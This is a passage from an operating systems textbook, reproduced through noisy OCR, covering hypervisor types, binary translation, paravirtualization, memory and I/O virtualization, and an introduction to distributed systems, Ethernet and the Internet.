ly. The operating system running On top of the hypervisor in both cases is called 
the guest operating system. In the case of a type 2 hypervisor, the operating sys
tem running on the hardware is called the host operating system. 

It is important to realize that in both cases, the virtual machines must act just 
like the real hardware. In particular, it must be possible to boot them like real ma
chines and install arbitrary operating systems On them, just as can be done on the 
real hardware. It is the task of the hypervisor to provide this illusion and to do it 
efficiently (without being a complete interpreter). 

The reaSOn for the two types has to do with defects in the Intel 386 architec
ture that were slavishly carried forward into new CPUs for 20 years in the name 
of backward compatibility. In a nutshell, every CPU with kernel mode and user 

SEC. 8.3 VlRTUALIZATlON 569 

mode has a set of instructions that may only be executed in kernel mode such as 
instructions that do I/O, change the MMU settings, and so on. In thei� classic 
work on virtualization, Popek and GOldberg (1974) called these sensitive instruc
tions. There is also a set of instructions that cause a trap if executed in user 
mode. Popek and . Goldberg called these privileged instructions. Their paper 
stated for the first time that a machine is virtualizable only if the sensitive instruc
tions are a

.
sub�et of the privileged instructions. In simpler language, if you try to 

do somethmg 1TI user mode that you should not be dOing in user mode, the hard
ware should trap. Unlike the IBM/370, which had this property, the 386 did not. 
Quite a few sensitive 386 instructions were ignored if executed in user mode. For 
example, the POPF instruction replaces the flags register, which changes the bit 
that enables/disables interrupts. In user mode, this bit is simply not changed. As a 
consequence, the 386 and its su,?cessors could not be virtualized, so they could not 
support a type I hypervisor. 

Ac�ual�y, the �ituation is �lightly worse than sketched. In addition to the prob
lems WIth mstructtons that fall to trap in user mode, there are instructions that can 
r�ad sensitive state in user mode without causing a trap. For example, On the Pen
tIUID, a program can detennine whether it is runnina in user mode or kernel mode 
by reading its code segment selector. An operating system that did this and 
discovered that it was actually in user mode, might make an incorrect decision 
based on this information. • 

This problem was solved when Intel and AMD introduced virtualization in 
their CPUs starting in 200S. On the Intel Core 2 CPUs it is called VT (Virtuali
zation Technology); On the AMD Pacific CPUs it is called SVM (Secure Vir
tual Machine). We will use the tenn VT in a generic senSe below. Both were 
inspired by the IBM VM/370 work, but they are slightly different. The basic idea �s to create �ontainers in .which virtual machines can be run. When a guest operat
mg system IS started up III a container, it continues to run there until it causes an 
exception and traps to the hypervisor, for example, by executing an I/O instruc
tion. �e set �f operations that trap is controlled by a hardware bitmap set by the 
hypervlsor. WIth these extensions the classical trap-and-emulate virtual machine 
approach becomes possible. 

8.3.2 Type 1 Hypervisors 

. Virtua!izability is an important issue, so let us examine it a more closely. In 
FIg. 8-26 we see a type 1 hypervisor supporting one virtual machine. Like all 
type 1 hypervisors, it runs On the bare metal. The virtual machine runs as a user 
process in user mode, and as such, is not allowed to execute-"sensitive instructions. 
The virtual machine runs a guest operating system that thinks it is in kernel mode 
although, of course, it is really in user mode. We will call this virtual kernel 
mode. The virtual machine also runs user processes, which think they are in user 
mode (and really are in user mode). 
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Figure 8-26. When the operating system i� a . vir�uai :na�hjne execut: ,a 
kernel-only instruction, it traps to the hypervlsor If vlrtuahzatlOn techno!o<;y IS 
present. 

What happens when the operating system (which thinks it is kernel mode) �x
ecutes a sensitive instruction (one allowed only in kernel mode)? On cPys wIth
out VT the instruction fails and the operating system usually crashes. ThIs makes 
true vi�uaIization impossible. One could certainly argue that al

,
1 sensitive instruc

tions should always trap when executed in user mode, but that IS not how the 386 
and its non-VT successors worked. . .  . On CPUs with VT. when the guest operating system executes a SenSltlVe.m
struction, a trap to the kernel occurs, as illustrated in Fig. 8-26. The hy�e�vlsor 
can then inspect the instruction to see if it was issued by the guest op�ratmg sys
tem in the virtual machine or by a user program in the virtual machme. In the 
former case, it arranges for the instruction to be carried out; in

.
the latter.�ase,

. 
it 

emulates what the real hardware would do when confronted WIth a senSItive �n
struction executed in user mode. If the virtual machine does not have VT, the .m
struction is typically ignored; if it does have VT. it traps to the guest operatmg 
system running in the virtual machine. 

8.3.3 Type 2 Hypervisors 

Buildin(J a virtual machine system is relatively straightforward when VT is 
available, b�t what did people do before that? Clearly, running a full o��rati?g 
system in a virtual machine would not work because (som� of) the sensltlve lO
structions would just be ignored, causing the system to fall .

. 
Instead ,:",hat hap

pened was the invention of what are now called type 2 hypervlsors, as Illustrated 
in Fig. 1-29(b). The first of these was VMware (Adams and Agesen, 200?; and 
Waldspurger, 2002), which was the outgrowth of the DISCO rese�ch project at 
Stanford University (Bugnion et aI., 1997). VMware runs as an ordmary user pro
gram on top of a host operating system such as Windows or Linux. When it starts 
for the first time, it acts like a newly booted computer and expects to find a CD-
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ROM containing an operating system in the CD-ROM drive. It then installs the 
operating system to its virtual disk (really just a Windows or Linux file) by run
ning the installation program found on the CD-ROM. Once the guest operating 
system is installed on the virtual disk, it can be booted at run. 

Now let us look at how VMware works in a bit more detaiL When executing 
a Pentium binary program, whether obtained from the installation CD-ROM or 
from the virtual disk, it scans the code first lOOking for basic blocks, that is, 
straight runs of instructions ending in a jump, call. trap, or other instruction that 
changes the flow of controL By definition, no basic block contains any instruction 
that modifies the program counter except the last one, The basic block is 
inspected to see if it contains any sensitive instructions (in the Popek and Gold
berg sense). If so, each one is replaced with a call to a VMware procedure that 
handles it. The final instruction.is also replaced with a call into VMware. 

Once these steps have been taken, the basic block is cached inside VMware 
and then executed. A basic block not containing any sensitive instructions will 
execute exactly as fast under VMware as it will on the bare machine-because it 
is running on the bare machine. Sensitive instructions are caught this way and 
emulated. This teChnique is known as binary translation. 

After the basic block has completed executing, control is returned to VM ware, 
which locates its successor. If the successor has already been translated, it can be 
executed immediately. If it has not been, it is first translated, cached, t'hen exe
cuted. Eventually, most of the program will be in the cache and run at close to 
full speed. Various optimizations are used, for example, if a basic block ends by 
jumping to (or calling) another one, the final instruction can be replaced by a 
jump or call directly to the translated basic block, eliminating all overhead associ
ated with finding the successor block. Also, there is no need to replace sensitive 
instructions in user programs; the hardware will just ignore them anyway. 

It should now be clear why type 2 hypervisors work, even on unvirtualizable 
hardware: all sensitive instructions are replaced by calls to procedures that emu
late these instructions. No sensitive instructions issued by the guest operating sys
tem are ever executed by the true hardware. They are turned into calls to the 
hypervisor, which them emulates them. 

One might naively expect that CPUs with VT would greatly outperfonn the 
software techniques used by the type 2 hypervisors, but measurements show a 
mixed picture (Adams and Agesen, 2006). It turns out that the trap-and-emulate 
approach used by VT hardware generates a lot of traps, and traps are very expen
sive on modern hardware because they ruin CPU caches, TLBs, and branch pre
diction tables internal to the CPU. In contrast, when sensitive instructions are 
replaced by calls to VMware procedures within the executing process, none of 
this context switching overhead is incurred. As Adams and Agesen show, de
pending on the workload, sometimes software beats hardware. For this reason, 
some type 1 hypervisors do binary translation for performance reasons, even 
though the software will execute correctly without it. 
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8.3.4 Paravirtualizatiou 

Both type 1 and type 2 hypervisors work with unmodified guest operati?g sys
tems, but have to jump through hoops to get reasonable perfonnance. A different 
approach that is becoming popular is to 

.
modify �e so�rce co?e of the gu�t oper

ating system so that instead of executmg s�nsltlve lllS�ructl�ns 3
,
t all, It makes 

hypervisor calls. In effect the guest operatmg system IS actm� lIke a user pr�gram making system calls to the operating .system (the h?�ervlsor). When thIS 
route is taken, the hypervisor must define an mterface consIstmg of a set of p:oce
dure calls that guest operating systems can use. This set of calls foans ��at IS �f
fectively an API (Application Programming Int�rfa�e) even though It IS an m
terface for use by guest operating systems, not apphcatton programs. 

Going one step further, by removing all the sensitive instructions fron: the �p
erating system and just having it make hypervisor calls to. get system s�rvlces lIke 
lIO, we have turned the hypervisor into a microkemel, lIke that of FIg. 1 -�6. A 
guest operating system from which (some) sensitive instructions have been mte�
tionally removed is said to be paravirtualized �Barha� et �L, 2003; and WhI
taker et aI., 2002). Emulating peculiar hardware InstructIons IS an unpleas�nt and 
time-consuming task. It requires a call into the hypervisor and then emulatmg the 
exact semantics of a complicated instruction. It is far better just to have the guest 
operating system call the hypervisor (or microkernel) to do lIO, .and so on. The 
main reason the first hypervisors just emulated the complete machme was �he lack 
of availability of source code for the guest operating system (e.g., for Wmdows) 
or the vast number of variants (e.g., for Linux). Perhaps in the future, the 
hypervisor/microkernel API will be standardi�ed, an� �ub�equent . operatin? sys
tems will be designed to call it instead of usmg sensitive mstructlons. Domg so 
would make virtual machine technology easier to support and use. 

The difference between true virtualization and paravirtualization is illustrated 
in Fig. 8-27. Here we have two virtual machines being supported on VT ha.rd
ware. On the left, is an unmodified version of Windows as the guest operatmg 
system. When a sensitive instruction is executed, the har�war� causes

. 
a trap t� the 

hypervisor, which then emulates it and returns .
. 
�n �e nght,. IS a versIOn of Lmu� 

modified so that it no lonoer contains any senSItive mstructIOns. Instead, when It 
needs to do lIO or change �ritical internal registers (such as the one pointing to the 
page tables), it makes a hypervisor call to get the work done, just like an applica
tion program making a system call in standard Linux. 

In Fig. 8-27 we have shown the hypervisor as being divided into. two parts 
separated by a dashed line. In reality, there is only one program ru��mg. on the 
hardware. One part of it is responsible for interpreting trapped senSItive msu:uc
tions in this case from Windows. The other part of it just carries out hypervlsor 
calls: In the figu;e the latter part is labeled "microkerneL" If the . hypervisor is 
intended to run only paravirtualized guest operating systems, there IS no need for 
the emulation of sensitive instructions and we have a true microkernel, which just 
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Figu.e 8-27. A hypervisor sl.!pporting both true virtualization and paravirtualization. 
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provides very basic services such as process dispatching and managing the MMU. 
T�e boundary between a type 1 hypervisor and a rnicrokemel is vague already and 
will get even less clear as hypervisors begin acquiring more and more func
tionality and hypervisor calls, as seems likely. This subject is controversial, but it 
is increasingly clear that the program running in kernel mode on the bare hard
ware should be small and reliable and consist of thousands of lines of code, not 
millions of lines of code. The topic has been discussed by various re�earchers 
(Hand et aI., 2005; Heiser et aJ. 2006; Hohmuth et aI., 2004; and Roscoe et aI., 
2007). 

Paravirtualizing the guest operating system raises a number of issues. First, if 
the sensitive instructions are replaced with calls to the hypervisor, how can the 
operating system run on the native hardware? After all, the hardware does not 
understand these hypervisor calls. And second, what if there are multiple hypervi
sors available in the marketplace, such as VMware, the open-source Xen origi
nally from the University of Cambridge, and Microsoft's Viridian, all with some
what different hypervisor APls? How can the kernel be modified to run on all of 
them? 

Amsden et aL (2006) have proposed a solution. In their modeJ, the kernel is 
modified to call special procedures whenever it needs to do something sensitive. 
Together these procedures, called the VMI (Virtual Machine Interface) fonn a 
low-level layer that interfaces with the hardware or hypervisor. These procedures 
a:e designed to be generic and not tied to the hardware or to any particular hyper
VIsor. 

An example of this technique is given in Fig. 8-28 for a paravirtualized ver
sion of Linux they call VMI Linux (VMIL). When VMI Llnix runs on the bare 
hardware, it has to be linked with a library that issues the actual (sensitive) in
struction needed to do the work, as shown in Fig. 8-28(a). When running on a 
hypervisor, say VMware or Xen, the guest operating system is linked with dif
ferent libraries that make the appropriate (and different) hypervisor calls to the 
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. th f th operatino- system remains port-underlying hypervisoL In thIS way, _ e cor� 0 e 0 
able yet is hypervisor friendly and stIll effiCIent. 

0 0 
VMI Linux 

VMILlHWinterface lib. 
Sensitive 
instruction 
executed by 
HW 

. .  

(a) (b) (e) 

h b h dware (b) VMware (c) Xen. Figure 8-28. VMI Linux running on (a) t e are at 

. . '  rf have also been made. Another Other proposals for a vIrtual machme I
,
nte �ce 

t ally similar to what we popular one is called paravir� ops. Th� Idea IS concep u 
described above, but different m the detaIls. 

8.3.5 Memory Virtualization 

. f h to virtualize the CPU. But a So far we have just address�d the ��� °It :s� has memory and I/O devices. computer system has more than Just a .  . d They have to be vu:ualized, too. Let u�l�e�:o�r�::��alO:�mOry, which is basi-Modern operatmg systems nearly pp 
f h . I mem-. 'n the virtual address space onto pages 0 p YSlca 

. cally a �applllg.of �ag;s
fi
l
ned by (multilevel) pa(1e tables. Typically the mappmg ory. �hIS m�ppmg 15 � I 

"n(1 s stem I;>set a control register in the CPU is set m motion by havmg
1 

the ope
b
r
1
atl 

Vi�ualization greatly complicates memory that points to the top-Ieve page ta e. 
management. . 1 hi . nning and the (1uest operating f: Ie a vlrtua mac ne IS ru , I;> Suppose, or examp ' " "  (1es 7 4 and 3 onto physical pages 10, 1 1 ,  system in it decides to map .lts vutual pa

bo1 " 'nin(1 this mapping and loads a d 2 f l It builds page ta es contal I;> . . an 1 ,  respec lve y. 
1 t ble This instruction is sensltlve. hardware register to point to �e top-leve �age

'll
a 

a�se a call to a VMware proce-VT CPU 't '11 trap' WIth VMware It WI C On a , 1 WI ' . " n  enerate a hypervisor call. For dure; on a paravirtualized operatJ.�g system, It WI g . b t the problem is the simplicity, let us assume it traps mto a type 1 hypervlSor, u 
same in all three cases. . ? 0 I tion is to actually allocate physi-What does the hypervISor do now . n� so u 

I a e tables to cal pages 10 1 1  and 12 to this virtual machme and set up the actua 
f
P g 

d 
" " al 7 4 and 3 to lise them. So ar, so goo . map the virtual machine s VIrtu pages , , 
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Now suppose a second virtual machine starts and maps its virtual pages 4, 5, and 6 onto physical pages 10, 1 1 ,  and 12 and loads the control register to point to its page tables. The hypervisor catches the trap, but what should it do? It cannot use this mapping because physical pages 10, 1 1 ,  and 12 are already in use. It can find some free pages, say 20, 21, and 22 and use them, but it first has to create new page tables mapping the virtual pages 4, 5, and 6 of virtual machine 2 onto 20, 21, and 22. If another virtual machine starts and tries to use physical pages 10, 1 1 ,  and 12, it has to create a mapping for it. In general, for each virtual machine the hypervisor needs to create a shadow page table that maps the virtual pages used by the virtual machine onto the actual pages the hypervisor gave it. Worse yet, every time the guest operating system changes its page tables, the hypervisor must change the shadow page tables as well. For example, if the guest OS remaps virtual page 7 onto what it sees as physical page 200 (instead of 10), the hypervisor has to know about this change. The trouble is that the guest operating system can change its page tables by just writing to memory. No sensitive operations are required, so the hypervisor does not even know about the change and certainly cannot update the shadow page tables used by the actual hardware. A possible (but clumsy) solution, is for the hypervisor to keep track of which page in the guest's virtual memory contains the top-level page table. It can get this infonnation the first time the guest attempts to load the hardware register that points to it because this instruction is sensitive and traps. The hyper�isor can create a shadow page table at this point and also map the top-level page table and the page tables it points to as read only. Subsequent attempts by the guest operating system to modify any of them will cause a page fault and thus give control to the hypervisor, which can analyze the instruction stream, figure out what the guest as is trying to do, and update the shadow page tables accordingly. It is not pretty, but it is doable in principle. 

This is an area in which future versions of VT could provide assistance by doing a two-level mapping in hardware. The hardware could first map the virtual page to the guest's idea of the physical page, then map that address (which the hardware sees as a virtual address) onto the physical address, all without causing any traps. In this way no page tables would have to be marked as read only and the hypervisor would merely have to provide a mapping between each guest's virtual address space and physical memory. When switching virtual machines, it would just change this mapping, the same way a nonnal operating system changes the mapping when switching processes, 
In a paravirtualized operating system, the situation is different. Here the paravirtualized OS in the guest knows that when it is finished changing some process' page table, it had better infonn the hypervisor. Consequently, it first changes the page table completely, then issues a hypervisor call telling the hypervisor about the new page table. Thus instead of getting a protection fault on every update to the page table, there is one hypervisor call when the whole thing has been updated, obviously a more efficient way to do business. 
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8.3.6 I/O Virtualization 

Havino- looked at CPU and memory virtualization, the next step is to examine 
I/O virtuallzation. The guest operating system typically will start out probing t�e 
hardware to find out what kinds of I/O devices are attached. These probes wIll 
trap to the hypervisor. What should the hypervisor do? One approach is for it to 
report back that the disks, printers, and so on are the ones that

. 
the hardware ac

tually has. The guest will then load device drivers for these �evlces and try 
,
to use 

them. When the device drivers try to do actual I/O, they wIll read and wnte the 
device's hardware device registers. These instructions are sensitive and will trap 
to the hypervisor, which could then copy the needed values to and from the hard-
ware registers, as needed. . . 

But here, too, we have a problem. Each guest OS thinks it owns an enUre dIsk 
partition, and there may be many more virtual machi�es (hundreds) than there �re 
disk partitions. The usual solution is for the hypervisor to create a file or regl�n 
on the actual disk for each virtual machine's physical disk. Since the guest OS IS 
trying to control a disk that the real hardware has (and which the hyperv�sor un¥ 
derstands), it can convert the block number being accessed into an offset mto the 
file or disk reoion being used for storage and do the lIO. 

It is also �ossible for the disk that the guest is using to be different from �he 
real one. For example, if the actual disk is some brand�new high-performance dISk 
(or RAID) with a new interface, the hypervisor could, advertise to the. gues� OS 
that it has a plain old IDE disk and let the guest OS mstall an IDE dISk dn:er. 
When this driver issues IDE disk commands, the hypervisor converts them mto 
commands to drive the new disk, This strategy can be used to upgrade the hard
ware without changing the software. In fact, this ability of virtual machines to 
remap hardware devices was one of the reasons VM/370 became popular: co�
panies wanted to buy new and faster hardware but did not want to change theIr 
software. Virtual machine technology made this possible. . Another lIO problem that must be solved somehow is the use of D�A, whIch 
uses absolute memory addresses. As might be expected, the hypervlsor has to 
intervene here and remap the addresses before the DMA starts. However, hard
ware is starting to appear with an I/O MMU, which virtualizes the lIO the same 
way the MMU virtualizes the memory. This hardware eliminates the DMA prob¥ 
lem. 

A different approach to handling I/O is to dedicate one of the virtual machines 
to running a standard operating system and reflect all I/O calls from the other ones 
to it. This approach is enhanced when paravirtualization is used, so the command 
beino issued to the hypervisor actually says what the guest OS wants (e.g., read 
block 1403 from disk 1) rather than being a series of commands writing to device 
registers, in which case the hypervisor has to play Sherlock Holmes 

,
and figure ?ut 

what it is trying to do. Xen uses this approach to I/O, with the vIrtual machme 
that does 110 called domain O. 
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I/O virtualization is an area in which type 2 hypervisors have a practical ad
va?tage over type I hypervisors: the host operating system contains the device 
dnvers for all, th: weird and wonderful I/O devices attached to the computer. 
When an applIcatIOn program attempts to access a strange I/O device, the tran
slated ,:ode can call th� existing d�vice driver to get the work done, With a type 1 
hypervlsor, the hypervisor must eIther contain the driver itself or make a call to a 
driver in �omain 0, which is somewhat similar to a host opera;ing system. As vir
tual machme technology matures, �ture h�dware is likely to allow application 
pr?grams to ac:ess the hardware dIrectly m a secure way, meaning that device 
dnvers can be hnked directly with application code or put in separate user-mode 
servers, thereby eliminating the problem. 

8.3.7 Virtual Appliances 

Virtual machine� offer an interesting solution to a problem that has long pla�ued users, espeCIally users of ?pen-source software: how to install new applicatIOn programs. T�e problem IS that many applications are dependent on numerous other applIcations and libraries, which are themselves dependent on a h?st of othe.r software, packages, and so on. Furthermore, there may be dependenCIes On partIcular verSIOns of the compilers, scripting languages, and the operating system. 9 
With 

.
virtual mac

,
hines no,:", av�ilable, a software developer can carefully constru:t a VIrtual �ac�me, load It WIth the required operating system, compilers, Jibran�s, a�d apphcatIon code, and freeze the entire unit, ready to nm. This virtual machme Image can then be put on a CD-ROM or a Website for customers to install or download. This approach means that only the software developer has to understand all the depen�encies. The Customers get a complete package that actually w.orks, completely mdependent of which operating system they are running and 

.WhiCh other software, packages, and libraries they have installed, These "shrink¥wrapped" virtual machines are often called virtual appliances. 
8.3.8 Virtual Machines on MuIticore CPUs 

Th
.
e co�bination of virtual machines and multicore CPUs opens a whole new 

world m which the number of CPUs available can be set in software. If there are, 
say, �our cor�, and each one can be used to run, for example, up to eight virtual 
�achmes, a sm?le (desktop) CPU can be configured as a 32-node multicomputer 
If need be, but It can also have fewer CPUs, depending on the-needs of the soft
ware. Never before has it been possible for an application designer to first choose 
how many CPUs he wants and then write the software accordingly, This clearly 
represents a new phase in computing. 

Although it is not so common yet, it is certainly conceivable that virtual ma
chines could share memory. All that has to be done is map physical pages into the 
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address spaces of multiple virtual machines. If this can be don�, a singl.e computer 
becomes a virtual multiprocesSOL Since all the cores in a mulucore ChIp share the 
same RAM, a single quad-core chip could easily be configured as a 32-node mul-
tiprocessor or a 32-node multicomputer. as needed. . . The combination of multicore, virtual machines, and hypervlsors and ITIlcro
kernels is going to radically change the way people think about compute: �ystems. 
Current software cannot deal with the idea of the programmer determmmg how 
many CPUs are needed, whether they should be s�t up as a multic�mputer o� a 
multiprocessor, and how minimal kernels of one kind or another fit mto the PiC
ture. Future software will have to deal with these issues. 

8.3.9 Licensing Issues 

Most software is licensed on a per-CPU basis. In other words, when you buy a 

program, you have the right to run it on just one CPU. Does this c�ntract give you 

the right to run the software on multiple virtual machines all runnmg on the same 

physical machine? Many software vendors are somewhat unsure of what to do 

- . th 
The problem is much worse in companies that ha�e a licens� allowmg �m to 

have n machines running the software at the same time, espeCially when virtUal 

machines come and go on demand. . 
In some cases, software vendors have put an explicit �lause in th� lIcense for

biddina the licensee from running the software on a VlftUal machine or. on �n 

unauth�rized virtual machine. Whether any of these restrictions will hold up m 

court and how users respond to them remains to be seen. 

8.4 DISTRIBUTED SYSTEMS 

Having now completed our study of multiprocessors: multicomputers, and vir

tual machines, it is time to tum to the last type of multIple processor. system, the 

distributed system. These systems are similar to multicomputers m that each 

node has its own private memory, with no shared physical memory in the sy.stem. 

However, distributed systems are even more loosely coupled than multicom-

puters. 
To start with, the nodes of a multicomputer generally have a CPU, �, a 

network interface, and perhaps a hard disk for paging. In contrast, each �ode m a 

distributed system is a complete computer, with a full complement of penpherals. 

Next, the nodes of a multicomputer are normally in a single room, so the?, c.an 

communicate by a dedicated high-speed network, whereas the nodes of a d�stnb

uted system may be spread around the world. Finally, all the nodes of a multicom

puter run the same operating system, share a single file system, and are under a 

common administration, whereas the nodes of a distributed system may each run a 
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different operating system, each of which has its own file system, and be under a 
different administration. A typical example of a multicomputer is 512 nodes in a 
single room at a company or university working on, say, pharmaceutical model
ing, whereas a typical distributed system consists of thousands of machines 
loosely cooperating over the Internet. Figure 8-29 compares mUltiprocessors, 
multicomputers, and distributed systems on the points mentioned above. 

Item Multiprocessor Multicomputer Distributed System 

Node configuration CPU CPU, RAM, net interface Complete computer 

Node peripherals AU shared Shared exc. maybe disk Full set per node 

Location Same rack Same room I Possibly worldwide 

Internode communication Sharep RAM I Dedicated interconnect Traditional network 

Operating systems One, shared Multiple, same Possibly all different 

File systems One, shared One, shared Each node has own 

Administration One organization One organization Many organizations 

Figure 8-29. Comparison of three kinds of multiple CPU systems. 

Multicomputers are clearly in the middle using these metrics. An interesting 
question is: «Are multicomputers more like multiprocessors or more like distrib
uted systems?" Oddly enough, the answer depends strongly on your perspective. 
From a technical perspective, multiprocessors have shared memory and the other 
two do not. This difference leads to different programming models and different 
mindsets. However, from an applications perspective, mUltiprocessors and multi
computers are just big equipment racks in a machine room. Both are used for 
solving computationally intensive problems, whereas a distributed system con
necting computers all over the Internet is typically much more involved in com
munication than in computation and is used in a different way. 

To some extent, loose coupling of the computers in a distributed system is 
both a strength and a weakness. It is a strength because the computers can be 
used for a wide variety of applications, but it is also a weakness, because pro
gramming these applications is difficult due to the lack of any common underly
ing model. 

Typical Internet applications include access to remote computers (using tei
net, ssh, and r[ogin), access to remote information (using the World Wide Web 
and FrP, the File Transfer Protocol), person-to-person communication (using e
mail and chat programs), and many emerging applications Je.g., e-commerce, 
telemedicine, and distance learning). The trouble with all these applications is 
that each one has to reinvent the wheel. For example, e-mail, FfP, and the World 
Wide Web all basically move files from point A to point B, but each one has its 
own way of doing it, complete with its own naming conventions, transfer proto
cols, replication techniques, and everything else. Although many Web browsers 
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hide these differences from the average user, the underly�ng
.
mecha�isms are com� 

pletely different Hiding them at the user interface level 1s hke havIng a pers�n a 
a full-service travel agent Web site order a trip from New Y�rk to San �ranclsco, 
and only later discover whether she has purchased a plane, tram, 

.
or bus ticket. 

What distributed systems add to the underlying n�twork IS some common 
paradiom (model) that provides a uniform way of looking at the whole system. 
The in�ent of the distributed system is to tum a loosely connected bunch �f m�
chines into a coherent system based on one concept. Sometimes the pa:adlgm IS 
simple and sometimes it is more elaborate, but the idea is always to provIde some
thing that unifies the system. 

. f t ' A simple example of a unifying paradigm in a slight�y dlf erent c�ntex l� 
f d '  UNIX where all I/O devices are made to look hke files. Havmg key 
b���dS:nprinter;, and serial lines all operated on the same way, with the safte 
primitives, makes it easier to deal with them than havmg them all conceptua y 
different. 

f 'f 't ' the One way a distributed system can achieve some measure
.
o um orrlll y III 

face of different underlying hardware and operating systems l� to have a :ay�� of 
software on top of the operating system. The layer, called mlddleware,. IS 1 us� 

d '  F' 8 30 This layer provides certain data structures and operatlOns tha trate III 19. - . . '  0 sistent allow processes and users on far-flung machines to mteroperate In a c n 
way. 

Common base lor applications 

Application j Application Application Application 

Middleware Middleware Middleware Middleware 

Windows Linux Solaris Mac OS 

Pentium Pentium SPARe Macintosh 

I I I I 
c Network � 

Figure 8·30. Positioning of middleware in a distributed system. 

In a sense, middleware is like the operating syste� of a distributed system. 
That is why it is being discussed in a book on o�erat1�g sys�ems. On

. 
the othe� 

hand, it is not really an operating system, so the dlSCUSSlO� w:ll not go Illto muc 
detail. For a comprehensive, book-length treatment of dlstnbuted systems, see 
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Distributed Systems (Tanenbaum and van Steen, 2006). In the remainder of this 
chapter, we will look quickly at the hardware used in a distributed system (i.e., the 
underlying computer network), then its communication software (the network pro
tocols) .  After that we will consider a variety of paradigms used in these systems. 

8.4.1 Network Hardware 

Distributed systems are built on top of computer networks, so a brief introduc
tion to the SUbject is in order. Networks come in two major varieties, LANs 
(Local Area Networks), which cover a bUilding or a campus, and W ANs (Wide 
Area Networks), which can be citywide, countrywide, or even worldwide. The 
most important kind of LAN is Ethernet, so we will examine that as an example 
LAN. As our example WAN, .we will look at the Internet, even though techni
cally, the Internet is not one network, but a federation of thousands of separate 
networks. However, for our purposes, it is sufficient to think of it as one WAN. 

Ethernet 

Classic Ethernet, which is described in IEEE Standard 802.3, consists of a coaxial cable to which a number of computers are attached. The cable is called the Ethernet, in reference to the luminiferous ether through which electromagnetic radiation was once thought to propagate. (When the nineteenth-century British physicist James Clerk Maxwell discovered that electromagnetic radiation could be described by a wave equation, scientists assumed that space must be filled with some ethereal medium in which the radiation was propagating. Only after the famous Michelson-MOrley experiment in 1887, which failed to detect the ether, did phYSicists realize that radiation could propagate in a vacuum.) In the very fIrst version of Ethernet, a computer was attached to the cable by literally drilling a hole halfway through the cable and screwing in a wire leading to the computer. This was called a vampire tap, and is shown symbolically in Fig. 8-31(a). The taps were hard to get right, so before long, proper connectors were used. Nevertheless, electrically, all the computers were connected as if the cables on their network interface cards were soldered together. 
To send a packet On an Ethernet, a computer first listens to the cable to see if any other computer is currently transmitting. If not, it just begins transmitting a packet, which consists of a short header followed by a 0- to ISOO-byte payload. If the cable is in use, the computer simply waits until the Current transmission finishes, then it begins sending. 
If two computers start transmitting simultaneously, a collision results, whiCh both of them detect. Both respond by terminating their transmissions, waiting a random amount of time between 0 and T /lSec and then starting again. If another COllision occurs, all colliding computers randomize the wait into the interval 0 to 2T �sec, and then try again. On each further collision, the maximum wait interval 
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computer� 
9 9 9 9 9 
Vampire tap/ 'Ethernet 

(a) 

Comp"'e' ""n � ? .n � I 

Figure 8-31. (a) Classic Ethernet. (b) Switched Ethernet. 

. 1 'th . known as is doubled reducino- the chance of more collisions. ThIS a gon 
. 

m IS 
h d binary ex�onential backoff. We saw it earlier to reduce pollIng over ea on 

locks. . 
b of An Ethernet has a maximum cable length and also a maxlmu� �urn er C] 

com uters that can be connected to it. To exceed either of
, 
these hmns, a 1art>e 

bUildillO or campus can be wired with multiple Ethernets, which are the� �onn�c:

ed by d�vices called bridges. A bridge allows traffic t? pa
,s

s from one t erne 0 
. 

·d d the destinatlOll IS on the other. another when the source IS on one 51 e an . h To avoid the problem of collisions, modern Ethemets use SWitches, as s �w� 
in Fig, 8-31(b), Each switch has some number of ports, to which can be att�

d
c e

ll th . h When a packet successfully avOl s a a computer, an Ethernet, or ano er SW,
lt� , 

rt collisions and makes it to the switch, It IS buffered there and sen: out on the po 
11 where the destination machine lives, By giving each 

,
computer lts ow� port��

th 11· . 
b 1· ·nated at the cost of bigoer SWitches. Compromlses, co lSlons can e e mu , 

, 0  ' 0 8 31(b) a classical Etherjust a few computers per port are also posslble. In Flo· -
" , h d t d t cable by vampIre taps IS attac e 0 net with multiple computers connecte 0 a 

one of the ports of the switch. 

The Internet 

Th I 1 d from the ARPANET an experimental packet-switched e nternet evo ve '
d R h Pro'ects k f d d b the U.S. Dept. of Defense Advance esearc . � networ un e y 

969 ' h  hr computers in Cahforma and Aoency It went live in December 1 WIt t ee . 
f I o:e in Utah. It was designed at the height of the Cold War to a be 

,
a hIghly au t-

f . 1 m'btary traffic even III the event 0 tolerant network that would conunue to re ay 1 , ' 0 d· 1 hit ulo·ple parts of the network by automaucally reroutIllo Irect nuc ear s on m 
traffic around the dead machines. 
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The ARPANET grew rapidly in the 1970s, eventually encompassing hundreds 
of computers. Then a packet radio network, a satellite network, and eventually 
thousands of Ethemets were attached to it, leading to the federation of networks 
we now know as the Internet. 

The Internet consists of two kinds of computers, hosts and routers. Hosts are 
PCs, notebooks, han4helds, servers, mainframes, and other computers owned by 
individuals or companies that want to connect to the Internet. Routers are spe
cialized switching computers that accept incoming packets on one of many in
coming lines and send them on their way along one of many outgoing lines. A 
router is similar to the switch of Fig. 8-31 (b), but also differs from it in ways that 
will not concern us here. Routers are connected together in large networks, with 
each router having wires or fibers to many other routers and hosts. Large national 
or worldwide router networks are operated by telephone companies and ISPs (In
ternet Service Providers) for their customers. 

Figure 8-32 shows a portion of the Internet. At the top we have one of the 
backbones. nonnally operated by a backbone operator, It consists of a number of 
routers connected by high-bandwidth fiber optics, with connections to backbones 
operated by other (competing) telephone companies. Usually, no hosts connect di
rectly to the backbone, other than maintenance and test machines run by the tele
phone company. 

Local router Host 

Ethernet 

Figure 8·32. A portion of the Internet. 

Aouter at I$P 

ADSL line 
to home PC 

Home PC 

Attached to the backbone routers by medium-speed fiber optic connections 
are regional networks and routers at ISPs. In tum, corporate Ethernets each have 
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a router on them and these are connected to regional network routers. Routers at 
ISPs are connected to modem banks used by the ISP's customers. In this way, 
every host on the Internet has at least one path, and often many paths, to every 
other host. . . 

All traffic on the Internet is sent in the form of packets. Each packet carnes Its 
destination address inside it, and this address is used for routing. When a packet 
comes into a router, the router extracts the destination address and looks (part ?f) 
it up in a table to find which outgoing line to send the packet on and �us 

,
to whIch 

router. This procedure is repeated until the packet reache
,
s the destmatIOn host. 

The routing tables are highly dynamic and are updated contmuously as routers and 
links go down and come back up and as traffic conditions change. 

8.4.2 Network Services and Protocols 

All computer networks provide certain services to their users (hosts and proc
esses), which they implement using certain rules about legal message exchanges. 
Below we will give a brief introduction to these topics. 

Network Services 

Computer networks provide services to the hosts and processes using them. 
